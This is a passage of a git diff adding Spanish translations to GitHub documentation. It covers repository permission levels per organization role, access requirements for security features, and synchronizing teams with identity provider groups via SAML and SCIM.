de los repositorios que le pertenezcan a dicha organización. Para más información, vea "[Definición de permisos base para una organización](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization#setting-base-permissions)". + +Los propietarios de la organización también pueden decidir limitar más el acceso a determinados parámetros y acciones de la organización. Para más información sobre opciones de configuración específicas, vea "[Administración de la configuración de la organización](/articles/managing-organization-settings)". + +Adicionalmente a administrar los ajustes a nivel organizacional, los propietarios de organización tienen acceso administrativo a cada repositorio que pertenece a la organización. Para más información, vea "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)". + +{% warning %} + +**Advertencia:** Cuando alguien agrega una clave de implementación a un repositorio, cualquier usuario que tenga la clave privada puede leer o escribir en el repositorio (según la configuración de la clave), incluso si luego se le elimina de la organización. + +{% endwarning %} + +## Permisos para cada rol + +{% ifversion fpt %} Algunas de las características siguientes se limitan a las organizaciones que utilizan {% data variables.product.prodname_ghe_cloud %}. {% data reusables.enterprise.link-to-ghec-trial %} {% endif %} + +{% ifversion fpt or ghes or ghec %} {% note %} + +**Nota:** Los roles necesarios para usar las características de seguridad se enumeran en "[Requisitos de acceso para las características de seguridad](#access-requirements-for-security-features)" a continuación. + +{% endnote %} {% endif %} + +| Acción del repositorio | Lectura | Evaluación de errores | Escritura | Mantenimiento | Administrador | +|:---|:---:|:---:|:---:|:---:|:---:| +| Administrar el acceso [individual](/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository), de [equipo](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository) y de [colaborador externo](/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization) al repositorio | | | | | **✔️** | +| Extraer desde los repositorios asignados de la persona o el equipo | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Bifurcar los repositorios asignados de la persona o el equipo | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Editar y eliminar sus propios comentarios | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Abrir propuestas | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Cerrar propuestas que abrieron ellos mismos | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Reabrir propuestas que cerraron ellos mismos | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Recibir la asignación de una propuesta | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Enviar solicitudes de extracción desde bifurcaciones de repositorios asignados del equipo | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| [Enviar revisiones o solicitudes de extracción](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| [Aprobar o solicitar cambios en una solicitud de incorporación de cambios con las revisiones necesarias](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/approving-a-pull-request-with-required-reviews) | | | **✔️** | **✔️** | **✔️** | +| [Aplicar cambios sugeridos](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) a solicitudes de incorporación de cambios | | | **✔️** | **✔️** | **✔️** | +| Ver lanzamientos publicados | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% ifversion fpt or ghec %} +| Ver [Ejecuciones de flujo de trabajo de Acciones de GitHub](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% endif %} +| Editar los wikis en los repositorios públicos | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| Editar los wikis en los repositorios privados | | | **✔️** | **✔️** | **✔️** |{% ifversion fpt or ghec %} +| [Notificar contenido abusivo o con spam](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% endif %} +| Aplicar/descartar etiquetas | | **✔️** | **✔️** | **✔️** | **✔️** | +| Crear, editar, borrar etiquetas | | | **✔️** | **✔️** | **✔️** | +| Elegir, reabrir y asignar todas las propuestas y solicitudes de extracción | | **✔️** | **✔️** | **✔️** | **✔️** | +| [Habilitar e inhabilitar la fusión mediante combinación automática en una solicitud de incorporación de cambios](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository) | | | **✔️** | **✔️** | **✔️** | +| Aplicar hitos | | **✔️** | **✔️** | **✔️** | **✔️** | +| Marcar [incidencias y solicitudes de incorporación de cambios duplicadas](/articles/about-duplicate-issues-and-pull-requests)| | **✔️** | **✔️** | **✔️** | **✔️** | +| Solicitar [revisiones de solicitudes de incorporación de cambios](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review) | | **✔️** | **✔️** | **✔️** | **✔️** | +| Combinar una [solicitud de incorporación de cambios](/github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges) | | | **✔️** | **✔️** | **✔️** | +| Subir a (escribir en) los repositorios asignados de la persona o el equipo | | | **✔️** | **✔️** | **✔️** | +| Editar y eliminar comentarios sobre confirmaciones, solicitudes de extracción y propuestas de cualquier persona | | | **✔️** | **✔️** | **✔️** | +| [Ocultar los comentarios de cualquier persona](/communities/moderating-comments-and-conversations/managing-disruptive-comments) | | | **✔️** | **✔️** | **✔️** | +| [Bloquear conversaciones](/communities/moderating-comments-and-conversations/locking-conversations) | | | **✔️** | **✔️** | **✔️** | +| Incidencias de transferencia (vea "[Transferencia de una incidencia a otro repositorio](/articles/transferring-an-issue-to-another-repository)" para más información) | | | **✔️** | **✔️** | **✔️** | +| [Actuar como propietario del código designado para un repositorio](/articles/about-code-owners) | | | **✔️** | **✔️** | **✔️** | +| [Marcar un borrador de solicitud de incorporación de cambios como listo para revisión](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **✔️** | **✔️** | **✔️** | +| [Convertir una solicitud de incorporación de cambios en borrador](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request) | | | **✔️** | **✔️** | **✔️** | +| Crear [comprobaciones de estado](/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) | | | **✔️** | **✔️** | **✔️** |{% ifversion fpt or ghec %} +| Crear, editar, ejecutar, volver a ejecutar y cancelar [flujos de trabajo de Acciones de GitHub](/actions/automating-your-workflow-with-github-actions/) | | | **✔️** | **✔️** | **✔️** |{% endif %} +| Crear y editar lanzamientos | | | **✔️** | **✔️** | **✔️** | +| Ver lanzamientos en borrador | | | **✔️** | **✔️** | **✔️** | +| Editar la descripción de un repositorio | | | | **✔️** | **✔️** |{% ifversion fpt or ghae or ghec %} +| [Ver e instalar paquetes](/packages/publishing-and-managing-packages) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| [Publicar paquetes](/packages/publishing-and-managing-packages/publishing-a-package) | | | **✔️** | **✔️** | **✔️** | +| [Borrar y restaurar paquetes](/packages/learn-github-packages/deleting-and-restoring-a-package) | | | | | **✔️** | {% endif %} +| Administrar [temas](/articles/classifying-your-repository-with-topics) | | | | **✔️** | **✔️** | +| Habilitar wikis y restringir editores de wikis | | | | **✔️** | **✔️** | +| Habilitar tableros de proyecto | | | | **✔️** | **✔️** | +| Configurar [combinaciones de solicitudes de incorporación de cambios](/articles/configuring-pull-request-merges) | | | | **✔️** | **✔️** | +| Configurar [un origen de publicación para {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages) | | | | **✔️** | **✔️** | +| [Administrar las reglas de protección de rama](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule) | | | | | **✔️** | +| [Insertar en ramas protegidas](/articles/about-protected-branches) | | | | **✔️** | **✔️** | +| Fusionar solicitudes de extracción en las ramas protegidas, incluso si no existen revisiones en aprobación | | | | | **✔️** |{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %} +| Crear etiquetas que coincidan con una [regla de protección de etiquetas](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules) | | | | **✔️** | **✔️** | +| Eliminar etiquetas que coincidan con una [regla de protección de etiquetas](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules) | | | | | **✔️** |{% endif %} +| [Crear y editar las tarjetas sociales de un repositorio](/articles/customizing-your-repositorys-social-media-preview) | | | | **✔️** | **✔️** |{% ifversion fpt or ghec %} +| Limitar las [interacciones en un repositorio](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)| | | | **✔️** | **✔️** |{% endif %} +| Eliminar una incidencia (vea "[Eliminación de una incidencia](/articles/deleting-an-issue)") | | | | | **✔️** | +| [Definir propietarios del código para un repositorio](/articles/about-code-owners) | | | | | **✔️** | +| Agregar un repositorio a un equipo (vea "[Administración del acceso de equipo a un repositorio de la organización](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository#giving-a-team-access-to-a-repository)" para más información) | | | | | **✔️** | +| [Administrar el acceso de un colaborador externo a un repositorio](/articles/adding-outside-collaborators-to-repositories-in-your-organization) | | | | | **✔️** | +| [Cambiar la visibilidad de un repositorio](/articles/restricting-repository-visibility-changes-in-your-organization) | | | | | **✔️** | +| Convertir un repositorio en una plantilla (vea "[Creación de un repositorio de plantillas](/articles/creating-a-template-repository)") | | | | | **✔️** | +| Cambiar los parámetros de un repositorio | | | | | **✔️** | +| Administrar el acceso de un equipo o un colaborador al repositorio | | | | | **✔️** | +| Editar la rama predeterminada de un repositorio | | | | | **✔️** | +| Cambiar el nombre de la rama predeterminada del repositorio (vea "[Cambio del nombre de una rama](/github/administering-a-repository/renaming-a-branch)") | | | | | **✔️** | +| Cambiar el nombre de una rama distinta a la predeterminada del repositorio (vea "[Cambio del nombre de una rama](/github/administering-a-repository/renaming-a-branch)") | | | **✔️** | **✔️** | **✔️** | +| Administrar webhooks y desplegar llaves | | | | | **✔️** |{% ifversion fpt or ghec %} +| [Administrar la configuración de uso de datos para el repositorio privado](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository) | | | | | **✔️** |{% endif %} +| [Administrar la directiva de bifurcación de un repositorio](/github/administering-a-repository/managing-the-forking-policy-for-your-repository) | | | | | **✔️** | +| [Transferir repositorios a la organización](/articles/restricting-repository-creation-in-your-organization) | | | | | **✔️** | +| [Eliminar o transferir repositorios fuera de la organización](/articles/setting-permissions-for-deleting-or-transferring-repositories) | | | | | **✔️** | +| [Archivar repositorios](/articles/about-archiving-repositories) | | | | | **✔️** |{% ifversion fpt or ghec %} +| Mostrar un botón de patrocinador (vea "[Representación de un botón de patrocinador en el repositorio](/articles/displaying-a-sponsor-button-in-your-repository)") | | | | | **✔️** |{% endif %} +| Crear referencias de vínculo automático a recursos externos, como Jira o Zendesk (vea "[Configuración de vínculos automáticos para hacer referencia a recursos externos](/articles/configuring-autolinks-to-reference-external-resources)") | | | | | **✔️** |{% ifversion discussions %} +| [Habilitar {% data variables.product.prodname_discussions %}](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository) en un repositorio | | | | **✔️** | **✔️** | +| [Crear y editar categorías](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions) para {% data variables.product.prodname_discussions %} | | | | **✔️** | **✔️** | +| [Mover un debate a otra categoría](/discussions/managing-discussions-for-your-community/managing-discussions) | | | **✔️** | **✔️** | **✔️** | +| [Transferir un debate](/discussions/managing-discussions-for-your-community/managing-discussions) a un nuevo repositorio| | | **✔️** | **✔️** | **✔️** | +| [Administrar debates fijados](/discussions/managing-discussions-for-your-community/managing-discussions) | | | **✔️** | **✔️** | **✔️** | +| [Convertir incidencias en debates de forma masiva](/discussions/managing-discussions-for-your-community/managing-discussions) | | | **✔️** | **✔️** | **✔️** | +| [Bloquear y desbloquear los debates](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **✔️** | **✔️** | **✔️** | **✔️** | +| [Convertir las incidencias en debates individualmente](/discussions/managing-discussions-for-your-community/moderating-discussions) | | **✔️** | **✔️** | **✔️** | **✔️** | +| [Crear debates y comentar los debates existentes](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| [Borrar un debate](/discussions/managing-discussions-for-your-community/managing-discussions#deleting-a-discussion) | | **✔️** | | **✔️** | **✔️** |{% endif %}{% ifversion fpt or ghec %} +| Crear [codespaces](/codespaces/about-codespaces) | | | **✔️** | **✔️** | **✔️** |{% endif %} + +### Requisitos de acceso para las características de seguridad + +En esta sección, puedes encontrar el acceso que se requiere para las características de seguridad, tales como las características de la {% data variables.product.prodname_advanced_security %}. + +| Acción del repositorio | Lectura | Evaluación de errores | Escritura | Mantenimiento | Administrador | +|:---|:---:|:---:|:---:|:---:|:---:| +| Recibe [{% data variables.product.prodname_dependabot_alerts %} para las dependencias no seguras](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies) en un repositorio | | | | | **✔️** | +| [Ignorar {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/viewing-and-updating-vulnerable-dependencies-in-your-repository) | | | | | **✔️** |{% ifversion ghes or ghae or ghec %} +| [Designación de personas o equipos adicionales para que reciban alertas de seguridad](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) | | | | | **✔️** |{% endif %}{% ifversion fpt or ghec %} +| Creación de [avisos de seguridad](/code-security/security-advisories/about-github-security-advisories) | | | | | **✔️** |{% endif %}{% ifversion ghes or ghae or ghec %} +| Administración de acceso a características de {% data variables.product.prodname_GH_advanced_security %} (consulta "[Administración de la configuración de seguridad y análisis para la organización](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)") | | | | | **✔️** |{% endif %}{% ifversion fpt or ghec %} +| [Activación de la gráfica de dependencias](/code-security/supply-chain-security/exploring-the-dependencies-of-a-repository) para un repositorio privado | | | | | **✔️** |{% endif %}{% ifversion ghes or ghae or ghec %} +| [Visualización de las revisiones de las dependencias](/code-security/supply-chain-security/about-dependency-review) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** |{% endif %} +| [Visualización de alertas del {% data variables.product.prodname_code_scanning %} en las solicitudes de incorporación de cambios](/github/finding-security-vulnerabilities-and-errors-in-your-code/triaging-code-scanning-alerts-in-pull-requests) | **✔️** | **✔️** | **✔️** | **✔️** | **✔️** | +| [Enumeración, descarte y eliminación de alertas de {% data variables.product.prodname_code_scanning %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository) | | | **✔️** | **✔️** | **✔️** | +| [Visualización y descarte de alertas de {% data variables.product.prodname_secret_scanning %} en un repositorio](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **✔️**{% ifversion not ghae %}[1]{% endif %} | **✔️**{% ifversion not ghae %}[1]{% endif %} | **✔️** |{% ifversion ghes or ghae or ghec %} +| [Resolución, rechazo o reapertura de alertas de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning) | | | **✔️**{% ifversion not ghae %}[1]{% endif %} | **✔️**{% ifversion not ghae %}[1]{% endif %} | **✔️** |{% endif %}{% ifversion ghes or ghae or ghec %} +| [Designación de personas o equipos adicionales para recibir alertas de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts) en repositorios | | | | | **✔️** |{% endif %} + +[1] Los escritores y mantenedores de los repositorios solo pueden ver la información de las alertas de sus propias confirmaciones. + +## Información adicional + +- "[Administración del acceso a los repositorios de la organización](/articles/managing-access-to-your-organization-s-repositories)" +- "[Adición de colaboradores externos a los repositorios en la organización](/articles/adding-outside-collaborators-to-repositories-in-your-organization)" +- "[Permisos de panel de proyecto para una organización](/articles/project-board-permissions-for-an-organization)" diff --git a/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md index 1b1123cdc4..831c3a70a9 100644 --- a/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md +++ b/translations/es-ES/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md @@ -1,6 +1,6 @@ --- -title: Synchronizing a team with an identity provider group -intro: 'You can synchronize a {% data variables.product.product_name %} team with a supported identity provider (IdP) group to automatically add and remove team members.' +title: Sincronizar un equipo con un grupo de proveedor de identidad +intro: 'Puedes sincronizar un equipo de {% data variables.product.product_name %} con un grupo de proveedor de identidad (IdP) compatible para agregar y eliminar miembros del grupo automáticamente.' redirect_from: - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group permissions: 'Organization owners and team maintainers can synchronize a {% data variables.product.prodname_dotcom %} team with an IdP group.' @@ -12,99 +12,89 @@ topics: - Organizations - Teams shortTitle: Synchronize with an IdP +ms.openlocfilehash: c4ea8dc13eee674b962108ba52c71e67e8462b87 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106985' --- - {% data reusables.enterprise-accounts.emu-scim-note %} -## About team synchronization +## Acerca de la sincronización de equipo {% data reusables.identity-and-permissions.about-team-sync %} -{% ifversion ghec %}You can connect up to five IdP groups to a {% data variables.product.product_name %} team.{% elsif ghae %}You can connect a team on {% data variables.product.product_name %} to one IdP group. All users in the group are automatically added to the team and also added to the parent organization as members. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization.{% endif %} You can assign an IdP group to multiple {% data variables.product.product_name %} teams. +{% ifversion ghec %}Puedes conectar hasta cinco grupos de IdP a un equipo de {% data variables.product.product_name %}.{% elsif ghae %}Puedes conectar a un equipo de {% data variables.product.product_name %} a un grupo de IdP. Todos los usuarios en el grupo se agregan automáticamente al equipo y también a la organización padre como miembros. Cuando desconectas a un grupo de un equipo, los usuarios que se convirtieron en miembros de la organización a través de una membrecía de equipo se eliminan de dicha organización.{% endif %} Puedes asignar un grupo de IdP a varios equipos de {% data variables.product.product_name %}. -{% ifversion ghec %}Team synchronization does not support IdP groups with more than 5000 members.{% endif %} +{% ifversion ghec %}La sincronización de equipos no es compatible con grupos de IdP con más de 5000 miembros.{% endif %} -Once a {% data variables.product.prodname_dotcom %} team is connected to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.product_name %}{% ifversion ghec %} or using the API{% endif %}. +Una vez que un equipo de {% data variables.product.prodname_dotcom %} se conecta a un grupo de IdP, tu administrador de IdP debe hacer cambios en la membrecía del equipo a través del proveedor de identidad. No puedes administrar las membrecías de equipo en {% data variables.product.product_name %}{% ifversion ghec %} ni utilizando la API{% endif %}. {% ifversion ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %} -{% ifversion ghec %} -All team membership changes made through your IdP will appear in the audit log on {% data variables.product.product_name %} as changes made by the team synchronization bot. Your IdP will send team membership data to {% data variables.product.prodname_dotcom %} once every hour. -Connecting a team to an IdP group may remove some team members. For more information, see "[Requirements for members of synchronized teams](#requirements-for-members-of-synchronized-teams)." +{% ifversion ghec %} Todos los cambios de membrecía que se hagan a través de tu IdP aparecerán en la bitácora de auditoría en {% data variables.product.product_name %} como cambios realizados por el bot de sicnronización de equipos. Tu IdP enviará datos de la membrecía de equipo a {% data variables.product.prodname_dotcom %} una vez cada hora. +Conectar un equipo a un grupo IdP puede eliminar a algunos miembros del equipo. Para obtener más información, consulta "[Requisitos para los miembros de los equipos sincronizados](#requirements-for-members-of-synchronized-teams)". {% endif %} -{% ifversion ghae %} -When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.product_name %} according to the schedule determined by your IdP. Any requests that change {% data variables.product.prodname_dotcom %} team or organization membership will register in the audit log as changes made by the account used to configure user provisioning. For more information about this account, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." For more information about SCIM request schedules, see "[Check the status of user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" in the Microsoft Docs. -{% endif %} +{% ifversion ghae %} Cuando cambia la membrecía de grupo en tu IdP, este envía una solicitud de SCIM con los cambios a {% data variables.product.product_name %} de acuerdo con la programación que determinó tu IdP. Cualquier solicitud que cambie la membrecía de organización o equipo de {% data variables.product.prodname_dotcom %} se registrará en la bitácora de auditoría como cambios que realizó la cuenta que se utilizó para configurar el aprovisionamiento de usuarios. Para obtener más información sobre esta cuenta, consulta "[Configuración del aprovisionamiento de usuarios para la empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)". Para obtener más información sobre las programaciones de solicitudes SCIM, consulta "[Comprobación del estado del aprovisionamiento de usuarios](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user)" en Microsoft Docs. {% endif %} -Parent teams cannot synchronize with IdP groups. If the team you want to connect to an IdP group is a parent team, we recommend creating a new team or removing the nested relationships that make your team a parent team. For more information, see "[About teams](/articles/about-teams#nested-teams)," "[Creating a team](/organizations/organizing-members-into-teams/creating-a-team)," and "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organizations-hierarchy)." +Los equipos padre no pueden sincronizarse con los grupos de IdP. Si el equipo que quieres conectar a un grupo de IdP es un equipo padre, te recomendamos crear un equipo nuevo o eliminar las relaciones anidadas que hacen de tu equipo un equipo padre. Para obtener más información, consulta "[Acerca de los equipos](/articles/about-teams#nested-teams)", "[Creación de un equipo](/organizations/organizing-members-into-teams/creating-a-team)" y "[Traslado de un equipo en la jerarquía de la organización](/articles/moving-a-team-in-your-organizations-hierarchy)". -To manage repository access for any {% data variables.product.prodname_dotcom %} team, including teams connected to an IdP group, you must make changes with {% data variables.product.product_name %}. For more information, see "[About teams](/articles/about-teams)" and "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)." +Para administrar el acceso de un repositorio para cualquier equipo de {% data variables.product.prodname_dotcom %}, incluyendo los equipos conectados a un grupo de IdP debes hacer cambios con {% data variables.product.product_name %}. Para obtener más información, consulta "[Acerca de los equipos](/articles/about-teams)" y "[Administración del acceso de equipo a un repositorio de la organización](/articles/managing-team-access-to-an-organization-repository)". -{% ifversion ghec %}You can also manage team synchronization with the API. For more information, see "[Team synchronization](/rest/reference/teams#team-sync)."{% endif %} +{% ifversion ghec %}También puedes administrar la sincronización de equipos con la API. Para obtener más información, consulta "[Sincronización de equipos](/rest/reference/teams#team-sync)".{% endif %} {% ifversion ghec %} -## Requirements for members of synchronized teams +## Requisitos para los miembros de los equipos sincronizados -After you connect a team to an IdP group, team synchronization will add each member of the IdP group to the corresponding team on {% data variables.product.product_name %} only if: -- The person is a member of the organization on {% data variables.product.product_name %}. -- The person has already logged in with their personal account on {% data variables.product.product_name %} and authenticated to the organization or enterprise account via SAML single sign-on at least once. -- The person's SSO identity is a member of the IdP group. +Después de conectar un equipo a un grupo IdP, la sincronización de equipos agregará a cada miembro del grupo de IdP al equipo correspondiente en {% data variables.product.product_name %} solo si: +- La persona es miembro de la organización en {% data variables.product.product_name %}. +- La persona ya ha iniciado sesión con su cuenta personal en {% data variables.product.product_name %} y se ha autenticado por lo menos una vez en la cuenta de la organización o la empresa mediante el inicio de sesión único SAML. +- La identidad de SSO de la persona es miembro del grupo de IdP. -Existing teams or group members who do not meet these criteria will be automatically removed from the team on {% data variables.product.product_name %} and lose access to repositories. Revoking a user's linked identity will also remove the user from from any teams mapped to IdP groups. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" and "[Viewing and managing a user's SAML access to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)." +Los equipos o miembros del grupo existentes que no cumplan con estos criterios se eliminarán automáticamente del equipo en {% data variables.product.product_name %} y perderán acceso a los repositorios. El revocar la identidad ligada a un usuario también eliminará a dicho usuario de cualquier equipo que se encuentre mapeado en los grupos de IdP. Para obtener más información, consulta "[Visualización y administración del acceso SAML de un miembro a la organización](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)" y "[Visualización y administración del acceso SAML de un usuario a la empresa](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity)". -A removed team member can be added back to a team automatically once they have authenticated to the organization or enterprise account using SSO and are moved to the connected IdP group. +Puedes volver a agregar automáticamente a aquellos miembros del equipo que hayas eliminado una vez que se autentiquen en la cuenta empresarial u organizacional utilizando el SSO y así se migren al grupo de IdP conectado. -To avoid unintentionally removing team members, we recommend enforcing SAML SSO in your organization or enterprise account, creating new teams to synchronize membership data, and checking IdP group membership before synchronizing existing teams. For more information, see "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" and "[Configuring SAML single sign-on for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)." +Para evitar eliminar miembros del equipo accidentalmente, te recomendamos requerir el SSO de SAML en tu cuenta organizacional o empresarial mediante la creación de nuevos equipos para sincronizar datos de membrecías y revisar la membrecía del grupo de IdP antes de que sincronices a los equipos existentes. Para obtener más información, consulta "[Aplicación del inicio de sesión único de SAML para la organización](/articles/enforcing-saml-single-sign-on-for-your-organization)" y "[Configuración del inicio de sesión único de SAML para la empresa](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)". {% endif %} -## Prerequisites +## Prerrequisitos -{% ifversion ghec %} -Before you can connect a {% data variables.product.product_name %} team with an identity provider group, an organization or enterprise owner must enable team synchronization for your organization or enterprise account. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" and "[Managing team synchronization for organizations in your enterprise account](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)." +{% ifversion ghec %} Antes de poder conectar a un equipo de {% data variables.product.product_name %} con un grupo de proveedores de identidades, un propietario de empresa u organización debe habilitar la sincronización de equipos para tu cuenta empresarial o de la organización. Para obtener más información, consulta "[Administración de la sincronización de equipos para la organización](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)" y "[Administración de la sincronización de equipos para las organizaciones de la cuenta empresarial](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)". -To avoid unintentionally removing team members, visit the administrative portal for your IdP and confirm that each current team member is also in the IdP groups that you want to connect to this team. If you don't have this access to your identity provider, you can reach out to your IdP administrator. +Para evitar el eliminar miembros del equipo accidentalmente, visita el protal administrativo para tu IdP y confirma que cada miembro actual del equipo también se encuentre en los grupos de IdP que quieras conectar a este equipo. Si no tienes este acceso a tu proveedor de identidad, puedes comunicarte con tu administrador de IdP. -You must authenticate using SAML SSO. For more information, see "[Authenticating with SAML single sign-on](/articles/authenticating-with-saml-single-sign-on)." +Debes autenticarte utilizando el SSO de SAML. Para obtener más información, consulta "[Autenticación con el inicio de sesión único de SAML](/articles/authenticating-with-saml-single-sign-on)". -{% elsif ghae %} -Before you can connect a {% data variables.product.product_name %} team with an IdP group, you must first configure user provisioning for {% data variables.location.product_location %} using a supported System for Cross-domain Identity Management (SCIM). For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)." +{% elsif ghae %} Para poder conectar a un equipo de {% data variables.product.product_name %} con un grupo de IdP, primero debes configurar el aprovisionamiento de usuarios de {% data variables.location.product_location %} usando un sistema compatible con System for Cross-domain Identity Management (SCIM). Para obtener más información, consulta "[Configuración del aprovisionamiento de usuarios para la empresa](/admin/authentication/configuring-user-provisioning-for-your-enterprise)". -Once user provisioning for {% data variables.product.product_name %} is configured using SCIM, you can assign the {% data variables.product.product_name %} application to every IdP group that you want to use on {% data variables.product.product_name %}. For more information, see [Configure automatic user provisioning to GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) in the Microsoft Docs. +Una vez que se configure el aprovisionamiento de usuarios para {% data variables.product.product_name %} utilizando SCIM, puedes asignar la aplicación de {% data variables.product.product_name %} a cada grupo de IdP que quieras utilizar en {% data variables.product.product_name %}. Para obtener más información, consulta [Configuración del aprovisionamiento automático de usuarios para GitHub AE](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-ae-provisioning-tutorial#step-5-configure-automatic-user-provisioning-to-github-ae) en Microsoft Docs. -{% elsif scim-for-ghes %} -You must configure user provisioning with SCIM for {% data variables.location.product_location %}. For more information, see "[Configuring user provisioning with SCIM for your enterprise](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise)." +{% elsif scim-for-ghes %} Debes configurar el aprovisionamiento de usuarios con SCIM de {% data variables.location.product_location %}. Para obtener más información, consulta "[Configuración del aprovisionamiento de usuarios con SCIM para la 